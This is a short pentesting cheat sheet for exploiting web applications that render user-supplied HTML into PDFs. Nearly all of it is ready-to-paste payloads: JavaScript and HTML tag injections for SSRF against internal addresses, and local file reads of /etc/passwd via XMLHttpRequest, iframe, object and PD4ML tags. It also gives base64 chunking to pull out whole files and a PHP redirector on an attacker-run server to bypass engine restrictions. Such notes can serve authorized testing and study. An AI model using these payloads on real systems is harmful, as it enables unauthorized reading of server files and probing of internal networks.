Exploiting pdf generation function in webapp. They usually do this by having an engine that will read HTML and convert to PDF. Some engine has flaws and will execute javascript code in the HTML input file.

NOTE: Before doing any exploitation, download the generated pdf and use exiftool on it first, search the engine and version for any CVE

Test#

First, we need to test if we can inject html. If the text appear bold, we can

<b>test<b>

Then, we test if the engine will execute our javascript

<script>document.write('test1')</script>
<script>document.write(window.location)</script>

SSRF#

Test with these tags.

<img src="http://10.10.10.10/ssrf.png"/>
<link rel="stylesheet" href="http://10.10.10.10/ssrf.css"/>

We can use <iframe> to fetch a page in the internal network or on localhost

<iframe src="http://10.10.10.10/"></iframe>

LFI#

You copy paste this in, which will magically gives you /etc/hosts file.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script>

The readable version

<script>
	x = new XMLHttpRequest();
	x.onload = function(){
		document.write(this.responseText)
	};
	x.open("GET", "file:///etc/passwd");
	x.send();
</script>

If the file is binary, it is impractical, so we convert it into base64

<script>x=new XMLHttpRequest;x.onload=function(){document.write(btoa(this.responseText))};x.open('GET','file:///etc/passwd');x.send();</script>

The readable version

<script>
	x = new XMLHttpRequest();
	x.onload = function(){
		document.write(btoa(this.responseText))
	};
	x.open("GET", "file:///etc/passwd");
	x.send();
</script>

But when we base64 a big file, it will turn into a very long base64 string, and the pdf document will not contain all of it. So we modify the js code to insert a line break every 100 characters

<script>function addNewlines(str){var result='';while(str.length>0){result+=str.substring(0,100)+'\n';str=str.substring(100)}return result}x=new XMLHttpRequest();x.onload=function(){document.write(addNewlines(btoa(this.responseText)))};x.open("GET","file:///etc/passwd");x.send();</script>

The readable version

<script>
	function addNewlines(str) {
		var result = '';
		while (str.length > 0) {
		    result += str.substring(0, 100) + '\n';
			str = str.substring(100);
		}
		return result;
	}

	x = new XMLHttpRequest();
	x.onload = function(){
		document.write(addNewlines(btoa(this.responseText)))
	};
	x.open("GET", "file:///etc/passwd");
	x.send();
</script>

If we have no js execution, we can also try these tags

<iframe src="file:///etc/passwd" width="800" height="500"></iframe>
<object data="file:///etc/passwd" width="800" height="500">
<portal src="file:///etc/passwd" width="800" height="500">
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="LFI" />

Some engine don’t display file on <iframe>. We can run a simple php web server that will response with a 302 to a local file like this:

<?php header('Location: file://' . $_GET['url']); ?>

And inject this into pdf engine. Sometimes it works

<iframe src="http://172.17.0.1:8000/redirector.php?url=%2fetc%2fpasswd" width="800" height="500"></iframe>

There is also a trick for PD4ML

<pd4ml:attachment src="/etc/passwd" description="LFI" icon="Paperclip"/>